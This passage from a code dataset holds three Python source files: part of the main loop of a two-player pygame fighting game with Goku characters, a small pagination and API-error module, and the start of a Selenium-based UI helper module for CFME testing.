DOWN\n if pygame.K_DOWN in keys and playerone.bottom_touches(background) and animation_frame_count_p1 == 0:\n playeroneimage = sprsheet_p1[1]\n playerone.y = background.y - 30\n elif 'airborne' not in status_affects_p1 and animation_frame_count_p1 == 0:\n playeroneimage = sprsheet_p1[0]\n # RIGHT\n if pygame.K_RIGHT in keys:\n facing_left_p1 = False\n if playeroneimage == sprsheet_p1[0] or playeroneimage == sprsheet_p1[2] or 'airborne' in status_affects_p1:\n playerone.x += 4\n # LEFT\n if pygame.K_LEFT in keys:\n facing_left_p1 = True\n if playeroneimage == sprsheet_p1[0] or playeroneimage == sprsheet_p1[2] or 'airborne' in status_affects_p1:\n playerone.x += -4\n\n # MOVEMENT PLAYER TWO ######\n # UP\n if pygame.K_w in keys and playertwo.touches(background):\n playertwo.yspeed = -10\n status_affects_p2.append('airborne')\n if not playertwo.touches(background) and not doublejump_p2 and pygame.K_w in keys:\n doublejump_p2 = True\n playertwo.yspeed = -10\n if playertwo.touches(background):\n doublejump_p2 = False\n if 'airborne' in status_affects_p2 and animation_frame_count_p2 == 0:\n playertwoimage = sprsheet_p2[2]\n # DOWN\n if pygame.K_s in keys and playertwo.bottom_touches(background) and animation_frame_count_p2 == 0:\n playertwoimage = sprsheet_p2[1]\n playertwo.y = background.y - 30\n elif 'airborne' not in status_affects_p2 and animation_frame_count_p2 == 0:\n playertwoimage = sprsheet_p2[0]\n # RIGHT\n if pygame.K_d in keys:\n facing_left_p2 = False\n if playertwoimage == sprsheet_p2[0] or playertwoimage == sprsheet_p2[2] or 'airborne' in status_affects_p2:\n playertwo.x += 4\n # LEFT\n if pygame.K_a in keys:\n facing_left_p2 = True\n if playertwoimage == sprsheet_p2[0] or playertwoimage == sprsheet_p2[2] or 'airborne' in status_affects_p2:\n playertwo.x += -4\n\n # ATTACKS PLAYER ONE\n if pygame.K_PERIOD in keys and animation_frame_count_p1 == 0 and attack_cooldown_p1 == 0:\n if pygame.K_RIGHT in keys or pygame.K_LEFT in keys:\n playeroneimage = sprsheet_p1[5]\n animation_frame_count_p1 = 20\n attackbox_p1_exists = True\n on_hit_p2 = False\n if pygame.K_UP in keys:\n playeroneimage = sprsheet_p1[6]\n animation_frame_count_p1 = 25\n playerone.yspeed -= -3\n attackbox_p1_exists = True\n on_hit_p2 = False\n if pygame.K_PERIOD in keys and animation_frame_count_p1 == 0:\n if pygame.K_DOWN in keys:\n playeroneimage = sprsheet_p1[3]\n animation_frame_count_p1 = 10\n # EMPOWERED ATTACKS PLAYER ONE\n if pygame.K_COMMA in keys and animation_frame_count_p1 == 0 and attack_cooldown_p1 == 0:\n if pygame.K_RIGHT in keys or pygame.K_LEFT in keys:\n animation_frame_count_p1 = 60\n pygame.mixer.Channel(1).play(pygame.mixer.Sound('Kamehameha.ogg'))\n kamehameha_list_p1.append([gamebox.from_color(-30, -100, 'red', 1, 1), True, False])\n if pygame.K_COMMA in keys and animation_frame_count_p1 == 0 and attack_cooldown_p1 == 0:\n if pygame.K_DOWN in keys:\n playeroneimage = transform_sprsheet[ticks//5 % 2]\n charge_p1 += 40/480\n transform_bar_p1 = gamebox.from_color(playerone.x+charge_p1/2-25+10*facing_left_p1, playerone.y+20, 'white', charge_p1, 4)\n transform_bar1_p1 = gamebox.from_color(playerone.x-5+10*facing_left_p1, playerone.y+20, 'black', 42, 6)\n if charge_p1 >= 40:\n charge_p1 = 0\n sprsheet_p1 = gamebox.load_sprite_sheet('goku-ss-sprite-sheet.png', 9, 11)\n keys.remove(pygame.K_DOWN)\n if on_press_p1:\n on_press_p1 = False\n pygame.mixer.Channel(1).play(pygame.mixer.Sound('Goku Screaming.ogg'))\n if pygame.K_DOWN not in keys or playeroneimage not in transform_sprsheet:\n on_press_p1 = True\n transform_bar_p1 = 0\n transform_bar1_p1 = 0\n if not kamehameha_list_p1:\n pygame.mixer.Channel(1).stop()\n\n # ATTACKS PLAYER TWO\n if pygame.K_LSHIFT in keys and animation_frame_count_p2 == 0 and attack_cooldown_p2 == 0:\n if pygame.K_d in keys or pygame.K_a in keys:\n playertwoimage = sprsheet_p2[5]\n animation_frame_count_p2 = 20\n attackbox_p2_exists = True\n on_hit_p1 = False\n if pygame.K_w in keys:\n playertwoimage = sprsheet_p2[6]\n animation_frame_count_p2 = 25\n playertwo.yspeed -= -3\n attackbox_p2_exists = True\n on_hit_p1 = False\n if pygame.K_LSHIFT in keys and animation_frame_count_p2 == 0:\n if pygame.K_s in keys:\n playertwoimage = sprsheet_p2[3]\n animation_frame_count_p2 = 10\n # EMPOWERED ATTACKS PLAYER TWO\n if pygame.K_LCTRL in keys and animation_frame_count_p2 == 0 and attack_cooldown_p2 == 0:\n if pygame.K_a in keys or pygame.K_d in keys:\n animation_frame_count_p2 = 60\n pygame.mixer.Channel(2).play(pygame.mixer.Sound('Kamehameha.ogg'))\n kamehameha_list_p2.append([gamebox.from_color(-30, -100, 'red', 1, 1), True, False])\n if pygame.K_LCTRL in keys and animation_frame_count_p2 == 0 and attack_cooldown_p2 == 0:\n if pygame.K_s in keys:\n playertwoimage = transform_sprsheet[ticks//5 % 2]\n charge_p2 += .085\n transform_bar_p2 = gamebox.from_color(playertwo.x+charge_p2/2-25+10*facing_left_p2, playertwo.y+20, 'white', charge_p2, 4)\n transform_bar1_p2 = gamebox.from_color(playertwo.x-5+10*facing_left_p2, playertwo.y+20, 'black', 42, 6)\n if charge_p2 >= 40:\n charge_p2 = 0\n sprsheet_p2 = gamebox.load_sprite_sheet('goku-ss-sprite-sheet.png', 9, 11)\n keys.remove(pygame.K_s)\n if on_press_p2:\n on_press_p2 = False\n pygame.mixer.Channel(2).play(pygame.mixer.Sound('Goku Screaming.ogg'))\n if pygame.K_s not in keys or playertwoimage not in transform_sprsheet:\n on_press_p2 = True\n transform_bar_p2 = 0\n transform_bar1_p2 = 0\n if not kamehameha_list_p2:\n pygame.mixer.Channel(2).stop()\n\n # REMOVES JUMP KEY TO ALLOW DOUBLE JUMP - MUST GO AFTER ATTACKS\n if pygame.K_UP in keys:\n keys.remove(pygame.K_UP)\n if pygame.K_w in keys:\n keys.remove(pygame.K_w)\n\n # PROJECTILES P1\n kmhmh = 0\n while kmhmh < len(kamehameha_list_p1):\n if kamehameha_list_p1[kmhmh][1]:\n if animation_frame_count_p1 >= 20:\n playeroneimage = sprsheet_p1[math.floor(25-animation_frame_count_p1*12/40)]\n if animation_frame_count_p1 <= 20:\n playeroneimage = sprsheet_p1[19]\n attackbox_p1_exists = True\n if animation_frame_count_p1 == 20:\n kamehameha_list_p1[kmhmh][0].x = playerone.x+40-80*facing_left_p1\n kamehameha_list_p1[kmhmh][0].y = playerone.y+10\n kamehameha_list_p1[kmhmh][2] = facing_left_p1\n if animation_frame_count_p1 == 0:\n kamehameha_list_p1[kmhmh][1] = False\n kamehameha_image = kamehameha_sprsheet[math.floor(ticks//5 % 9)]\n kamehameha_list_p1[kmhmh][0] = gamebox.from_image(kamehameha_list_p1[kmhmh][0].x, kamehameha_list_p1[kmhmh][0].y, kamehameha_image)\n kamehameha_list_p1[kmhmh][0].x += 8 - 16*(kamehameha_list_p1[kmhmh][2])\n kamehameha_list_p1[kmhmh][0].scale_by(1.75)\n if kamehameha_list_p1[kmhmh][2]:\n kamehameha_list_p1[kmhmh][0].flip()\n if -50 > kamehameha_list_p1[kmhmh][0].x or kamehameha_list_p1[kmhmh][0].x > CAMERA_WIDTH + 50:\n kamehameha_list_p1.remove(kamehameha_list_p1[kmhmh])\n kmhmh += 1\n\n # PROJECTILES P2\n kmhmh = 0\n while kmhmh < len(kamehameha_list_p2):\n if kamehameha_list_p2[kmhmh][1]:\n if animation_frame_count_p2 >= 20:\n playertwoimage = sprsheet_p2[math.floor(25-animation_frame_count_p2*12/40)]\n if animation_frame_count_p2 <= 20:\n playertwoimage = sprsheet_p2[19]\n attackbox_p2_exists = True\n if animation_frame_count_p2 == 20:\n kamehameha_list_p2[kmhmh][0].x = playertwo.x+40-80*facing_left_p2\n kamehameha_list_p2[kmhmh][0].y = playertwo.y+10\n kamehameha_list_p2[kmhmh][2] = facing_left_p2\n if animation_frame_count_p2 == 0:\n kamehameha_list_p2[kmhmh][1] = False\n kamehameha_image = kamehameha_sprsheet[math.floor(ticks//5 % 9)]\n kamehameha_list_p2[kmhmh][0] = gamebox.from_image(kamehameha_list_p2[kmhmh][0].x, kamehameha_list_p2[kmhmh][0].y, kamehameha_image)\n kamehameha_list_p2[kmhmh][0].x += 8 - 16*(kamehameha_list_p2[kmhmh][2])\n kamehameha_list_p2[kmhmh][0].scale_by(1.75)\n if kamehameha_list_p2[kmhmh][2]:\n kamehameha_list_p2[kmhmh][0].flip()\n if -50 > kamehameha_list_p2[kmhmh][0].x or kamehameha_list_p2[kmhmh][0].x > CAMERA_WIDTH + 50:\n kamehameha_list_p2.remove(kamehameha_list_p2[kmhmh])\n kmhmh += 1\n\n # IMAGE CREATE PLAYER ONE\n # HITBOX CREATE PLAYER ONE\n yspeed_p1 = playerone.yspeed\n xspeed_p1 = playerone.xspeed\n playerone = gamebox.from_image(playerone.x, playerone.y, playeroneimage)\n playerone.scale_by(1.75)\n playerone_hitbox = gamebox.from_color(playerone.x-5+10*facing_left_p1, playerone.y+10, \"green\", 35, 60)\n if attackbox_p1_exists:\n if playeroneimage == sprsheet_p1[5]:\n attackbox_p1 = gamebox.from_color(playerone.x + 20 - 40 * facing_left_p1, playerone.y + 11, \"red\", 40, 20)\n if playeroneimage == sprsheet_p1[6]:\n attackbox_p1 = gamebox.from_color(playerone.x + 10-20*facing_left_p1, playerone.y - 25, \"red\", 30, 20)\n playerone.yspeed = yspeed_p1\n playerone.xspeed = xspeed_p1\n playerone_hitbox.yspeed = yspeed_p1\n if facing_left_p1:\n playerone.flip()\n\n playerone.yspeed += .5\n playerone.y = playerone.y + playerone.yspeed\n playerone.x = playerone.x + playerone.xspeed\n if playerone.bottom_touches(background):\n playerone.move_to_stop_overlapping(background)\n for sidewall in sidewalls:\n if playerone.touches(sidewall):\n playerone.move_to_stop_overlapping(sidewall)\n\n if playerone.y >= background.y - 70 and 'airborne' in status_affects_p1:\n status_affects_p1.remove('airborne')\n playerone.xspeed = playerone.xspeed*.9\n\n # IMAGE CREATE PLAYER TWO\n # HITBOX CREATE PLAYER TWO\n yspeed_p2 = playertwo.yspeed\n xspeed_p2 = playertwo.xspeed\n playertwo = gamebox.from_image(playertwo.x, playertwo.y, playertwoimage)\n playertwo.scale_by(1.75)\n playertwo_hitbox = gamebox.from_color(playertwo.x-5+10*facing_left_p2, playertwo.y+10, \"green\", 35, 60)\n if attackbox_p2_exists:\n if playertwoimage == sprsheet_p2[5]:\n attackbox_p2 = gamebox.from_color(playertwo.x + 20 - 40 * facing_left_p2, playertwo.y + 11, \"red\", 40, 20)\n if playertwoimage == sprsheet_p2[6]:\n attackbox_p2 = gamebox.from_color(playertwo.x + 10-20*facing_left_p2, playertwo.y - 25, \"red\", 30, 20)\n playertwo.yspeed = yspeed_p2\n playertwo.xspeed = xspeed_p2\n playertwo_hitbox.yspeed = yspeed_p2\n if facing_left_p2:\n playertwo.flip()\n\n playertwo.yspeed += .5\n playertwo.y = playertwo.y + playertwo.yspeed\n playertwo.x = playertwo.x + playertwo.xspeed\n if playertwo.bottom_touches(background):\n playertwo.move_to_stop_overlapping(background)\n for sidewall in sidewalls:\n if playertwo.touches(sidewall):\n playertwo.move_to_stop_overlapping(sidewall)\n\n if playertwo.y >= background.y - 70 and 'airborne' in status_affects_p2:\n status_affects_p2.remove('airborne')\n playertwo.xspeed = playertwo.xspeed*.9\n\n # HITBOX DETECTION\n for kmhmh in range(0, len(kamehameha_list_p2)):\n if kamehameha_list_p2[kmhmh][0].touches(playerone_hitbox):\n doublejump_p2 = False\n if playeroneimage in transform_sprsheet:\n charge_p1 = 0\n if playeroneimage == sprsheet_p1[3] and kamehameha_list_p2[kmhmh][2] != facing_left_p1:\n playerone.xspeed = 2 - (4 * kamehameha_list_p2[kmhmh][2])\n else:\n playeroneimage = sprsheet_p1[4]\n animation_frame_count_p1 = 20\n playerone.xspeed = 5 - (10 * kamehameha_list_p2[kmhmh][2])\n if kamehameha_list_p2[kmhmh][2] and playertwoimage != sprsheet_p2[3]:\n facing_left_p1 = False\n elif not kamehameha_list_p2[kmhmh][2] and playertwoimage != sprsheet_p2[3]:\n facing_left_p1 = True\n if attackbox_p2.touches(playerone_hitbox) and not on_hit_p1:\n on_hit_p1 = True\n doublejump_p2 = False\n if playeroneimage in transform_sprsheet:\n charge_p1 = 0\n if playertwoimage == sprsheet_p2[5] and (playeroneimage != sprsheet_p1[3] or facing_left_p1 == facing_left_p2):\n playerone.xspeed = -2\n playerone.xspeed = 10 - (20 * facing_left_p2)\n playeroneimage = sprsheet_p1[4]\n animation_frame_count_p1 = 20\n elif playertwoimage == sprsheet_p2[6] and (playeroneimage != sprsheet_p1[3] or facing_left_p1 == facing_left_p2):\n playeroneimage = sprsheet_p1[20]\n animation_frame_count_p1 = 20\n playerone.yspeed = -10\n playerone.xspeed = 2 - (4 * facing_left_p2)\n elif (playertwoimage == sprsheet_p2[5] or playertwoimage == sprsheet_p2[6]) and playeroneimage == sprsheet_p1[3] and facing_left_p1 != facing_left_p2:\n playerone.xspeed = 2 - (4 * facing_left_p2)\n if facing_left_p2 and playeroneimage != sprsheet_p1[3]:\n facing_left_p1 = False\n elif not facing_left_p2 and playeroneimage != sprsheet_p1[3]:\n facing_left_p1 = True\n\n for kmhmh in range(0, len(kamehameha_list_p1)):\n if kamehameha_list_p1[kmhmh][0].touches(playertwo_hitbox):\n doublejump_p1 = False\n if playertwoimage in transform_sprsheet:\n charge_p2 = 0\n if playertwoimage == sprsheet_p2[3] and kamehameha_list_p1[kmhmh][2] != facing_left_p2:\n playertwo.xspeed = 2 - (4 * kamehameha_list_p1[kmhmh][2])\n else:\n playertwoimage = sprsheet_p2[4]\n animation_frame_count_p2 = 20\n playertwo.xspeed = 5 - (10 * kamehameha_list_p1[kmhmh][2])\n if kamehameha_list_p1[kmhmh][2] and playeroneimage != sprsheet_p1[3]:\n facing_left_p2 = False\n elif not kamehameha_list_p1[kmhmh][2] and playeroneimage != sprsheet_p1[3]:\n facing_left_p2 = True\n if attackbox_p1.touches(playertwo_hitbox) and not on_hit_p2:\n on_hit_p2 = True\n doublejump_p1 = False\n if playertwoimage in transform_sprsheet:\n charge_p2 = 0\n if playeroneimage == sprsheet_p1[5] and (playertwoimage != sprsheet_p2[3] or facing_left_p1 == facing_left_p2):\n playertwo.yspeed = -2\n playertwo.xspeed = 10 - (20 * facing_left_p1)\n playertwoimage = sprsheet_p2[4]\n animation_frame_count_p2 = 20\n elif playeroneimage == sprsheet_p1[6] and (playertwoimage != sprsheet_p2[3] or facing_left_p1 == facing_left_p2):\n playertwoimage = sprsheet_p2[20]\n animation_frame_count_p2 = 20\n playertwo.yspeed = -10\n playertwo.xspeed = 2 - (4 * facing_left_p1)\n elif playertwoimage == sprsheet_p2[3] and facing_left_p1 != facing_left_p2:\n playertwo.xspeed = 2 - (4 * facing_left_p1)\n if facing_left_p1 and playeroneimage != sprsheet_p1[3]:\n facing_left_p2 = False\n elif not facing_left_p1 and playeroneimage != sprsheet_p1[3]:\n facing_left_p2 = True\n\n # REDUCES ANIMATION DURATION\n # ATTACK COOLDOWNS\n if animation_frame_count_p1 <= 0:\n animation_frame_count_p1 = 0\n attackbox_p1_exists = False\n attackbox_p1 = gamebox.from_color(-100, -100, 'red', 1, 1)\n if attack_cooldown_p1 > 0:\n attack_cooldown_p1 -= 1\n else:\n animation_frame_count_p1 -= 1\n if animation_frame_count_p1 == 0:\n attack_cooldown_p1 = 10\n\n if animation_frame_count_p2 <= 0:\n animation_frame_count_p2 = 0\n attackbox_p2_exists = False\n attackbox_p2 = gamebox.from_color(1100, -100, 'red', 1, 1)\n if attack_cooldown_p2 > 0:\n attack_cooldown_p2 -= 1\n else:\n animation_frame_count_p2 -= 1\n if animation_frame_count_p2 == 0:\n attack_cooldown_p2 = 10\n\n camera.draw(backgroundscreen)\n camera.draw(scoredisplay)\n debug = False\n if debug:\n camera.draw(playerone_hitbox)\n camera.draw(playertwo_hitbox)\n if attackbox_p2_exists: # and (playertwoimage == 'Goku-kick.png' or playertwoimage == 'Goku-Uppunch.png'):\n camera.draw(attackbox_p2)\n if attackbox_p1_exists: # and (playeroneimage == 'Goku-kick.png' or playeroneimage == 'Goku-Uppunch.png'):\n camera.draw(attackbox_p1)\n camera.draw(playerone)\n camera.draw(playertwo)\n if transform_bar1_p1 != 0:\n camera.draw(transform_bar1_p1)\n if transform_bar_p1 != 0:\n camera.draw(transform_bar_p1)\n if transform_bar1_p2 != 0:\n camera.draw(transform_bar1_p2)\n if transform_bar_p2 != 0:\n camera.draw(transform_bar_p2)\n for kmhmh in range(0, len(kamehameha_list_p1)):\n camera.draw(kamehameha_list_p1[kmhmh][0])\n for kmhmh in range(0, len(kamehameha_list_p2)):\n camera.draw(kamehameha_list_p2[kmhmh][0])\n camera.display()\n\n\nticks_per_second = 60\ngamebox.timer_loop(ticks_per_second, tick)\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":24619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"558181125","text":"#coding:utf-8\n\nimport json,logging,inspect,functools\n\nclass Page(object):\n\t\"\"\"docstring for Page\"\"\"\n\tdef __init__(self, item_count,page_index=1,page_size=10):\n\t\tself.item_count = item_count\n\t\tself.page_size = page_size\n\t\tself.page_count =item_count // page_size + (1 if item_count % page_size > 0 else 0)\n\t\tif(item_count == 0) or (page_index > self.page_count):\n\t\t\tself.offset = 0 \n\t\t\tself.limit = 0 \n\t\t\tself.page_index = 1\n\t\telse:\n\t\t\tself.page_index = page_index\n\t\t\tself.offset = self.page_size * (page_index - 1)\n\t\t\tself.limit = self.page_size\n\t\tself.has_next = self.page_index < self.page_count\n\t\tself.has_previous = self.page_index > 1\n\n\tdef __str__(self):\n\t\treturn \"item_count:%s,page_count:%s,page_index:%s,page_size:%s,offset:%s,limit:%s\" % (self.item_count,self.page_count,self.page_index,self.page_size,self.offset,self.limit)\n\n\t__repr__ = __str__\n\nclass APIError(Exception):\n\t#API错误基类\n\tdef __init__(self,error,data='',message=''):\n\t\tsuper(APIError,self).__init__(message)\n\t\tself.error = error\n\t\tself.data = data\n\t\tself.message = message\n\nclass APIValueError(APIError):\n\t#传值错误\n\t#field参数指出是具体哪个参数出错\n\tdef __init__(self, field,message=''):\n\t\tsuper(APIValueError, self).__init__('value:invalid',field,message)\n\nclass APIResourceNotFoundError(APIError):\n\t#找不到资源错误\n\t#filed参数指出找不到的资源的名字\n\tdef __init__(self, field,message=''):\n\t\tsuper(APIResourceNotFoundError, self).__init__('value:notfound',field,message)\n\nclass APIPermissionError(APIError):\n\t#权限错误\n\tdef __init__(self,message=''):\n\t\tsuper(APIPermissionError,self).__init__('permission:forbidden','permission',message)\n\t\t\n","sub_path":"www/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"274932214","text":"\"\"\"Provides a number of objects to help with managing certain elements in the CFME UI.\n\n Specifically there are two categories of objects, organizational and elemental.\n\n* **Organizational**\n\n * :py:class:`Region`\n * :py:mod:`cfme.web_ui.menu`\n\n* **Elemental**\n\n * :py:class:`ButtonGroup`\n * :py:class:`Calendar`\n * :py:class:`ColorGroup`\n * :py:class:`CheckboxTable`\n * :py:class:`CheckboxSelect`\n * :py:class:`DHTMLSelect`\n * :py:class:`DriftGrid`\n * :py:class:`DynamicTable`\n * :py:class:`EmailSelectForm`\n * :py:class:`Filter`\n * :py:class:`Form`\n * :py:class:`InfoBlock`\n * :py:class:`Input`\n * :py:class:`MultiFill`\n * :py:class:`Quadicon`\n * :py:class:`Radio`\n * :py:class:`ScriptBox`\n * :py:class:`Select`\n * :py:class:`ShowingInputs`\n * :py:class:`SplitCheckboxTable`\n * :py:class:`SplitTable`\n * :py:class:`Timelines`\n * :py:class:`Table`\n * :py:class:`Tree`\n * :py:mod:`cfme.web_ui.accordion`\n * :py:mod:`cfme.web_ui.cfme_exception`\n * :py:mod:`cfme.web_ui.flash`\n * :py:mod:`cfme.web_ui.form_buttons`\n * :py:mod:`cfme.web_ui.listaccordion`\n * :py:mod:`cfme.web_ui.menu`\n * :py:mod:`cfme.web_ui.paginator`\n * :py:mod:`cfme.web_ui.snmp_form`\n * :py:mod:`cfme.web_ui.tabstrip`\n * :py:mod:`cfme.web_ui.toolbar`\n\n\"\"\"\n\nimport os\nimport re\nimport types\nfrom datetime import date\nfrom collections import Sequence, Mapping, Callable\nfrom xml.sax.saxutils import quoteattr\n\nfrom selenium.common import exceptions as sel_exceptions\nfrom selenium.common.exceptions import NoSuchElementException, MoveTargetOutOfBoundsException\nfrom multimethods import multimethod, multidispatch, Anything\n\nimport cfme.fixtures.pytest_selenium as sel\nfrom cfme import exceptions\nfrom cfme.fixtures.pytest_selenium import browser\nfrom utils import classproperty, lazycache, version\n# For backward compatibility with code that pulls in Select from web_ui instead of sel\nfrom cfme.fixtures.pytest_selenium import Select\nfrom utils.log import logger\nfrom utils.pretty import Pretty\n\n\nclass Region(Pretty):\n \"\"\"\n Base class for all UI regions/pages\n\n Args:\n locators: A dict of locator objects for the given region\n title: A string containing the title of the page,\n or a versioned dict of page title strings\n identifying_loc: Single locator key from locators used by :py:meth:`Region.is_displayed`\n to check if the region is currently visible\n\n Usage:\n\n page = Region(locators={\n 'configuration_button': (By.CSS_SELECTOR, \"div.dhx_toolbar_btn[title='Configuration']\"),\n 'discover_button': (By.CSS_SELECTOR,\n \"tr[title='Discover Cloud Providers']>td.td_btn_txt>\" \"div.btn_sel_text\")\n },\n title='Cloud Providers',\n identifying_loc='discover_button'\n )\n\n The elements can then accessed like so::\n\n page.configuration_button\n\n Locator attributes will return the locator tuple for that particular element,\n and can be passed on to other functions, such as :py:func:`element` and :py:func:`click`.\n\n Note:\n\n When specifying a region title, omit the \"Cloudforms Management Engine: \" or \"ManageIQ: \"\n prefix. They're included on every page, and different for the two versions of the appliance,\n and :py:meth:`is_displayed` strips them off before checking for equality.\n\n \"\"\"\n pretty_attrs = ['title']\n\n def __getattr__(self, name):\n if hasattr(self, 'locators') and name in self.locators:\n return self.locators[name]\n else:\n raise AttributeError(\"Region has no attribute named \" + name)\n\n def __init__(self, locators=None, title=None, identifying_loc=None, **kwargs):\n self.locators = locators\n self.identifying_loc = identifying_loc\n self._title = title\n self.infoblock = InfoBlock # Legacy support\n\n @property\n def title(self):\n # support title being a versioned dict\n if isinstance(self._title, dict):\n self._title = version.pick(self._title)\n return self._title\n\n def is_displayed(self):\n \"\"\"\n Checks to see if the region is currently displayed.\n\n Returns: A boolean describing if the region is currently displayed\n \"\"\"\n if not self.identifying_loc and not self.title:\n logger.warning(\"Region doesn't have an identifying locator or title, \"\n \"can't determine if current page.\")\n return True\n\n # All page titles have a prefix; strip it off\n try:\n browser_title = browser().title.split(': ', 1)[1]\n except IndexError:\n browser_title = None\n\n if self.identifying_loc and sel.is_displayed(\n self.locators[self.identifying_loc], _no_deeper=True):\n ident_match = True\n else:\n if not self.title:\n logger.info('Identifying locator for region not found')\n else:\n logger.info('Identifying locator for region {} not found'.format(self.title))\n ident_match = False\n\n if self.title is None:\n # If we don't have a title we can't match it, and some Regions are multi-page\n # so we can't have a title set.\n title_match = True\n elif self.title and browser_title == self.title:\n title_match = True\n else:\n logger.info(\"Title '%s' doesn't match expected title '%s'\" %\n (browser_title, self.title))\n title_match = False\n return title_match and ident_match\n\n\ndef get_context_current_page():\n \"\"\"\n Returns the current page name\n\n Returns: A string containing the current page name\n \"\"\"\n url = browser().current_url()\n stripped = url.lstrip('https://')\n return stripped[stripped.find('/'):stripped.rfind('?')]\n\n\nclass Table(Pretty):\n \"\"\"\n Helper class for Table/List objects\n\n Turns CFME custom Table/Lists into iterable objects using a generator.\n\n Args:\n table_locator: locator pointing to a table element with child thead and tbody elements\n representing that table's header and body row containers\n header_offset: In the case of a padding table row above the header, the row offset\n can be used to skip rows in ```` to locate the correct header row. This offset\n is 1-indexed, not 0-indexed, so an offset of 1 is the first child row element\n body_offset: In the case of a padding table row above the body rows, the row offset\n can be used to skip rows in ```` to locate the correct header row. This offset\n is 1-indexed, not 0-indexed, so an offset of 1 is the first child row element\n\n Attributes:\n header_indexes: A dict of header names related to their int index as a column.\n\n Usage:\n\n table = Table('//div[@id=\"prov_pxe_img_div\"]//table')\n\n The HTML code for the table looks something like this::\n\n
\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
NameAnimalSize
JohnMonkeySmall
MikeTigerLarge
\n
\n\n We can now click on an element in the list like so, by providing the column\n name and the value that we are searching for::\n\n table.click_cell('name', 'Mike')\n\n We can also perform the same, by using the index of the column, like so::\n\n table.click_cell(1, 'Tiger')\n\n Additionally, the rows of a table can be iterated over, and that row's columns can be accessed\n by name or index (left to right, 0-index)::\n\n for row in table.rows()\n # Get the first cell in the row\n row[0]\n # Get the row's contents for the column with header 'Row Name'\n # All of these will work, though the first is preferred\n row.row_name, row['row_name'], row['Row Name']\n\n When doing bulk opererations, such as selecting rows in a table based on their content,\n the ``*_by_cells`` methods are able to find matching row much more quickly than iterating,\n as the work can be done with fewer selenium calls.\n\n * :py:meth:`find_rows_by_cells`\n * :py:meth:`find_row_by_cells`\n * :py:meth:`click_rows_by_cells`\n * :py:meth:`click_row_by_cells`\n\n Note:\n\n A table is defined by the containers of the header and data areas, and offsets to them.\n This allows a table to include one or more padding rows above the header row. In\n the example above, there is no padding row, as our offset values are set to 0.\n\n \"\"\"\n\n pretty_attrs = ['_loc']\n\n def __init__(self, table_locator, header_offset=0, body_offset=0):\n self._headers = None\n self._header_indexes = None\n self._loc = table_locator\n self.header_offset = int(header_offset)\n self.body_offset = int(body_offset)\n\n @property\n def header_row(self):\n \"\"\"Property representing the ```` element that contains header cells\"\"\"\n # thead/tr containing header data\n # xpath is 1-indexed, so we need to add 1 to the offset to get the correct row\n return sel.element('thead/tr[%d]' % (self.header_offset + 1), root=sel.element(self))\n\n @property\n def body(self):\n \"\"\"Property representing the ```` element that contains body rows\"\"\"\n # tbody containing body rows\n return sel.element('tbody', root=sel.element(self))\n\n @property\n def headers(self):\n \"\"\"List of ```` or ```` elements in :py:attr:`header_row`\n\n \"\"\"\n if self._headers is None:\n self._update_cache()\n return self._headers\n\n @property\n def header_indexes(self):\n \"\"\"Dictionary of header name: column index for this table's rows\n\n Derived from :py:attr:`headers`\n\n \"\"\"\n if self._header_indexes is None:\n self._update_cache()\n return self._header_indexes\n\n def locate(self):\n return sel.move_to_element(self._loc)\n\n @staticmethod\n def _convert_header(header):\n \"\"\"Convers header cell text into something usable as an identifier.\n\n Static method which replaces spaces in headers with underscores and strips out\n all other characters to give an identifier.\n\n Args:\n header: A header name to be converted.\n\n Returns: A string holding the converted header.\n \"\"\"\n return re.sub('[^0-9a-zA-Z_]+', '', header.replace(' ', '_')).lower()\n\n @property\n def _root_loc(self):\n return self.locate()\n\n def _update_cache(self):\n \"\"\"Updates the internal cache of headers\n\n This allows columns to be moved and the Table updated. The :py:attr:`headers` stores\n the header cache element and the list of headers are stored in _headers. The\n attribute header_indexes is then created, before finally creating the items\n attribute.\n \"\"\"\n self._headers = sel.elements('td | th', root=self.header_row)\n self._header_indexes = {\n self._convert_header(cell.text): self.headers.index(cell) for cell in self.headers}\n\n def rows(self):\n \"\"\"A generator method holding the Row objects\n\n This generator yields Row objects starting at the first data row.\n\n Yields:\n :py:class:`Table.Row` object corresponding to the next row in the table.\n \"\"\"\n index = self.body_offset\n row_elements = sel.elements('tr', root=self.body)\n for row_element in row_elements[index:]:\n yield self.create_row_from_element(row_element)\n\n def find_row(self, header, value):\n \"\"\"\n Finds a row in the Table by iterating through each visible item.\n\n Args:\n header: A string or int, describing which column to inspect.\n value: The value to be compared when trying to identify the correct row\n to return.\n\n Returns:\n :py:class:`Table.Row` containing the requested cell, else ``None``.\n\n \"\"\"\n return self.find_row_by_cells({header: value})\n\n def find_cell(self, header, value):\n \"\"\"\n Finds an item in the Table by iterating through each visible item,\n this work used to be done by the :py:meth::`click_cell` method but\n has not been abstracted out to be called separately.\n\n Args:\n header: A string or int, describing which column to inspect.\n value: The value to be compared when trying to identify the correct cell\n to click.\n\n Returns: WebElement of the element if item was found, else ``None``.\n\n \"\"\"\n matching_cell_rows = self.find_rows_by_cells({header: value})\n try:\n if isinstance(header, basestring):\n return getattr(matching_cell_rows[0], header)\n else:\n return matching_cell_rows[0][header]\n except IndexError:\n return None\n\n def find_rows_by_cells(self, cells, partial_check=False):\n \"\"\"A fast row finder, based on cell content.\n\n Args:\n cells: A dict of ``header: value`` pairs or a sequence of\n nested ``(header, value)`` pairs.\n\n Returns: A list of containing :py:class:`Table.Row` objects whose contents\n match all of the header: value pairs in ``cells``\n\n \"\"\"\n # accept dicts or supertuples\n cells = dict(cells)\n cell_text_loc = (\n './/td/descendant-or-self::*[contains(normalize-space(text()), \"%s\")]/ancestor::tr[1]')\n matching_rows_list = list()\n for value in cells.values():\n # Get all td elements that contain the value text\n matching_elements = sel.elements(cell_text_loc % value,\n root=sel.move_to_element(self._root_loc))\n if matching_elements:\n matching_rows_list.append(set(matching_elements))\n\n # Now, find the common row elements that matched all the input cells\n # (though not yet matching values to headers)\n if not matching_rows_list:\n # If none matched, short out\n return []\n\n rows_elements = list(reduce(lambda set1, set2: set1 & set2, matching_rows_list))\n\n # Convert them to rows\n # This is slow, which is why we do it after reducing the row element pile,\n # and not when building matching_rows_list, but it makes comparing header\n # names and expected values easy\n 